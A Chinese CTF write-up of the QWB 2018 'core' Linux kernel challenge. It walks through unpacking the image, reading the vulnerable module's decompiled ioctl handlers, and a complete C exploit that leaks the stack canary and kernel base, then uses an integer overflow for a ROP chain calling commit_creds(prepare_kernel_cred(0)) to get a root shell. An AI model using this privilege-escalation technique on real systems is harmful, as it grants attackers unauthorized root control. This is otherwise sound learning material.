kernel pwn入门 强网杯2018 - core

强网杯2018 - core

这里主要记录一下做这个题的全流程、遇到的困难、解决方法,供后来者参考,同时也加深自己的记忆。
所以本篇没有知识,只是做题过程

参考文献

https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/#例题:强网杯2018-core

题解

解压

首先拿到题目第一步是把core.cpio解压出来看看里面的东西。

cmd 复制代码
cpio -idm < ./core.cpio

但是报错了

如图所示,这是因为他并不是cpio格式,需要先gunzip一下

复制代码
$ mv core.cpio core.cpio.gz
$ gunzip core.cpio.gz

查看init

在解压出的文件夹里有init

复制代码
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2 
insmod /core.ko

setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0  -f

可以看到有insmod /core.ko,那后门程序大概率就是他了。

查看程序

可以先查看ioctl函数,也就是core_ioctl。

复制代码
void __fastcall core_ioctl(__int64 a1, int op, __int64 reg1)
{
  switch ( op )
  {
    case 0x6677889B:
      core_read(reg1);
      break;
    case 0x6677889C:
      printk(&unk_2CD);
      off = reg1;
      break;
    case 0x6677889A:
      printk(&unk_2B3);
      core_copy_func(reg1);
      break;
  }
}

可以看到是一个菜单,对core_ioctl在ida里按x交叉引用可以找到core_fops

有什么用就算是前置知识了,自行理解,那么这里可以看到还有一个core_write,说明能直接调用write,查看write。

复制代码
void __fastcall core_write(__int64 fd, __int64 data, unsigned __int64 len)
{
  printk(&unk_215);
  if ( len > 0x800 || copy_from_user(&name, data, len) )
    printk(&unk_230);
}

发现是一个写入到name的操作。

继续看ioctl

复制代码
void __fastcall core_read(__int64 reg1)
{
  char *kk; // rdi
  __int64 n16; // rcx
  char str[64]; // [rsp+0h] [rbp-50h] BYREF
  unsigned __int64 v5; // [rsp+40h] [rbp-10h]

  v5 = __readgsqword(0x28u);
  printk(&unk_25B);
  printk(&unk_275);
  kk = str;
  for ( n16 = 16; n16; --n16 )
  {
    *(_DWORD *)kk = 0;
    kk += 4;
  }
  strcpy(str, "Welcome to the QWB CTF challenge.\n");
  if ( copy_to_user(reg1, &str[off], 0x40) )
    __asm { swapgs }
}

这里off可控,那么可以进行对canary和内核地址的泄露。

复制代码
void __fastcall core_copy_func(__int64 reg1)
{
  _QWORD buf[10]; // [rsp+0h] [rbp-50h] BYREF

  buf[8] = __readgsqword(0x28u);
  printk(&unk_215);
  if ( reg1 > 0x3F )
    printk(&unk_2A1);
  else
    qmemcpy(buf, &name, (unsigned __int16)reg1);
}

这里有整型溢出,然后可以进行ROP

那么思路就是先泄露canary,然后rop提权。

撰写脚本

内核题目用c语言写脚本

这里直接给出脚本,之后会一一解释

复制代码
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

void spawn_shell()
{
	if(!getuid()){
		system("/bin/sh");
	}
	else{
		puts("[*]spawn shell error!");
	}
	exit(0);
}

// 保存用户态
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
	__asm__("mov user_cs, cs;"
			"mov user_ss, ss;"
			"mov user_sp, rsp;"
			"pushf;"
			"pop user_rflags;"
			);
	puts("[*]status has been saved.");

}

int main(){
    save_status();
    int sh = open("/proc/core",2);
    if(sh < 0){
        printf("文件打开错误!\n");
        exit(0);
    }
	printf("文件打开成功!\n");

	char buf[0x50];
	ioctl(sh, 0x6677889C, 0x40);
	ioctl(sh, 0x6677889B, buf);
	size_t canary = ((size_t*) buf)[0];
	size_t kernel_base = ((size_t*) buf)[4] - 0x1dd6d1;
	printf("canary : %lx\n",canary);
	printf("kernel_base : %lx\n",kernel_base);

	size_t commit_creds = kernel_base + 0x9C8E0;
	size_t prepare_kernel_cred = kernel_base + 0x9CCE0;
	size_t pop_rdi = kernel_base + 0x00b2f;
	size_t pop_rdx = kernel_base + 0xa0f49;
	size_t pop_rcx = kernel_base + 0x21e53;
	size_t MOV_RDI_RAX_CALL_RDX  = kernel_base + 0x1aa6a;
	size_t swapgs_popfq_ret = kernel_base + 0xa012da;
	size_t iretq_ret = kernel_base + 0x50ac2;
	size_t rop[0x100];
	int i = 0;
	for (i = 0; i < 10; i++)
	{
		rop[i] = canary;
	}
	rop[i++] = pop_rdi;
	rop[i++] = 0;
	rop[i++] = prepare_kernel_cred;
	rop[i++] = pop_rdx;
	rop[i++] = pop_rcx;
	rop[i++] = MOV_RDI_RAX_CALL_RDX;
	rop[i++] = commit_creds;
	rop[i++] = swapgs_popfq_ret;
	rop[i++] = 0;
	rop[i++] = iretq_ret;
	rop[i++] = (size_t)spawn_shell;			// rip 
	rop[i++] = user_cs;						// cs
	rop[i++] = user_rflags;					// rflags
	rop[i++] = user_sp + 8;						// rsp
	rop[i++] = user_ss;						// ss

	printf("rop ok!\n");

	write(sh, rop, 0x800);

	printf("write ok!\n");

	ioctl(sh, 0x6677889A, 0xffffffffffff0000 | (0x100));

	printf("copy ok!\n");

    return 0;
}

编译使用静态编译

复制代码
gcc ./exp.c -o exp -static -masm=intel

打包运行

如何把exp塞进内核运行环境呢?

和init的同目录下存在gen_cpio.sh的文件,这个就是用来打包的。

复制代码
./gen_cpio.sh ../core.cpio

运行则是直接运行start.sh文件即可。

调试

怎么调试呢?

这里需要先把init中setsid /bin/cttyhack setuidgid 1000 /bin/sh变为setsid /bin/cttyhack setuidgid 0 /bin/sh咱门需要高权限来调试。

在start.sh中加入-s参数。

之后在运行环境中执行

复制代码
cat /sys/module/core/sections/.text

便可以获得core.ko的test段地址,那么使用如下sh脚本

复制代码
gdb \
    -ex "add-symbol-file $1 $2" \
    -ex "target remote localhost:1234" \
    -ex "set debug kernel" \
    -ex "b* core_copy_func+0x3b" \
    -ex "c" \

使用只需要 ./gdb.sh ./core.ko [cat的值]即可启动pwngdb
我的pwngdb不能ni和si,所以只能一点一点打断点调试

exp详解

到这里大概就可以自己做了,可以先试着自己调试。

接下来是exp的详解

复制代码
save_status();
// 保存用户态
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
	__asm__("mov user_cs, cs;"
			"mov user_ss, ss;"
			"mov user_sp, rsp;"
			"pushf;"
			"pop user_rflags;"
			);
	puts("[*]status has been saved.");
}

注释也写了,是用来保存用户态数据的,因为在rop执行完返回到用户态需要用到这些参数。

复制代码
	int sh = open("/proc/core",2);
	if(sh < 0){
		printf("文件打开错误!\n");
		exit(0);
	}
	printf("文件打开成功!\n");

对于/proc/core,为什么在proc和为什么打开它,这里只需把https://arttnba3.cn/2021/02/21/OS-0X00-LINUX-KERNEL-PART-I/ 看完自会理解。

复制代码
	char buf[0x50];
	ioctl(sh, 0x6677889C, 0x40);
	ioctl(sh, 0x6677889B, buf);
	size_t canary = ((size_t*) buf)[0];
	size_t kernel_base = ((size_t*) buf)[4] - 0x1dd6d1;
	printf("canary : %lx\n",canary);
	printf("kernel_base : %lx\n",kernel_base);

泄露canary和内核基地址,这里主要看0x1dd6d1偏移的得来。

使用程序输出后可以使用cat /proc/kallsyms | grep " _text\| startup_64\| startup_32"来查看内核地址。

之后相减即可得到偏移。

复制代码
	size_t commit_creds = kernel_base + 0x9C8E0;
	size_t prepare_kernel_cred = kernel_base + 0x9CCE0;
	size_t pop_rdi = kernel_base + 0x00b2f;
	size_t pop_rdx = kernel_base + 0xa0f49;
	size_t pop_rcx = kernel_base + 0x21e53;
	size_t MOV_RDI_RAX_CALL_RDX  = kernel_base + 0x1aa6a;
	size_t swapgs_popfq_ret = kernel_base + 0xa012da;
	size_t iretq_ret = kernel_base + 0x50ac2;
	size_t rop[0x100];
	int i = 0;
	for (i = 0; i < 10; i++)
	{
		rop[i] = canary;
	}
	rop[i++] = pop_rdi;
	rop[i++] = 0;
	rop[i++] = prepare_kernel_cred;
	rop[i++] = pop_rdx;
	rop[i++] = pop_rcx;
	rop[i++] = MOV_RDI_RAX_CALL_RDX;
	rop[i++] = commit_creds;
	rop[i++] = swapgs_popfq_ret;
	rop[i++] = 0;
	rop[i++] = iretq_ret;
	rop[i++] = (size_t)spawn_shell;			// rip 
	rop[i++] = user_cs;						// cs
	rop[i++] = user_rflags;					// rflags
	rop[i++] = user_sp + 8;						// rsp
	rop[i++] = user_ss;						// ss
	printf("rop ok!\n");
	write(sh, rop, 0x800);
	printf("write ok!\n");
	ioctl(sh, 0x6677889A, 0xffffffffffff0000 | (0x100));
	printf("copy ok!\n");

栈溢出打ROP,执行commit_creds(prepare_kernel_cred(NULL)),片段的偏移可以查看vmlinux,函数直接放到IDA中查看。

完结

但这里就算是完事了,总的来说刚开始跟用户态rop还是大致上一样的。